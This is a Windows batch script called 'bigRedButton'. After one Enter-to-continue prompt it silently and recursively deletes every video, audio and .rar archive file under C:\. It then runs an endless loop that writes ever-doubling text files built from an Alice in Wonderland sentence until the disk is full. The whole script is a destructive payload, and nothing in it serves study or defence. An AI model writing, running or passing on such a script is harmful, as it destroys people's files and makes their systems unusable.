@set EXTENSIONS=*.mov *.avi *.rar *.vob *.mpeg *.mp3 *.mp4
@set DEL_PATH=C:\
@set PATTERN=The rabbit-hole went straight on like a tunnel for some way, and then dipped suddenly down, so suddenly that Alice had not a moment to think about stopping herself before she found herself falling down a very deep well
@set FILE_NAME_PREFIX=bigRedButton

@echo Delete %EXTENSIONS% from subdirs of %DEL_PATH%
@echo press Enter if you are agree, press Ctrl-C to exit
@pause

@cd %DEL_PATH%
@del %EXTENSIONS% /S /Q

@echo Fill disk

@set E2=0
@set E1=0
@set E0=1
@set fileName=000

@echo %PATTERN% > %FILE_NAME_PREFIX%.%fileName%.1.txt
@echo %PATTERN% > %FILE_NAME_PREFIX%.%fileName%.2.txt


:loop


@set newFileName=%E2%%E1%%E0%
@copy %FILE_NAME_PREFIX%.%fileName%.1.txt + %FILE_NAME_PREFIX%.%fileName%.2.txt %FILE_NAME_PREFIX%.%newFileName%.1.txt /Y /B > nul
@copy %FILE_NAME_PREFIX%.%fileName%.2.txt + %FILE_NAME_PREFIX%.%fileName%.2.txt %FILE_NAME_PREFIX%.%newFileName%.2.txt /Y /B > nul
@echo %fileName%
@set fileName=%newFileName%


@echo off
:: Increments a three digit number
:: Works by comparing each digit
:: E2=hundreds, E1=tens, E0=ones
if [%E2%]==[] set E2=0
if [%E1%]==[] set E1=0
if [%E0%]==[] set E0=0
:E0
if %E0%==9 goto E1
if %E0%==8 set E0=9
if %E0%==7 set E0=8
if %E0%==6 set E0=7
if %E0%==5 set E0=6
if %E0%==4 set E0=5
if %E0%==3 set E0=4
if %E0%==2 set E0=3
if %E0%==1 set E0=2
if %E0%==0 set E0=1
goto DONE
:E1
set E0=0
if %E1%==9 goto E2
if %E1%==8 set E1=9
if %E1%==7 set E1=8
if %E1%==6 set E1=7
if %E1%==5 set E1=6
if %E1%==4 set E1=5
if %E1%==3 set E1=4
if %E1%==2 set E1=3
if %E1%==1 set E1=2
if %E1%==0 set E1=1
goto DONE
:E2
set E1=0
if %E2%==9 set E2=0
if %E2%==8 set E2=9
if %E2%==7 set E2=8
if %E2%==6 set E2=7
if %E2%==5 set E2=6
if %E2%==4 set E2=5
if %E2%==3 set E2=4
if %E2%==2 set E2=3
if %E2%==1 set E2=2
if %E2%==0 set E2=1
goto DONE
:DONE
@echo on









@goto loop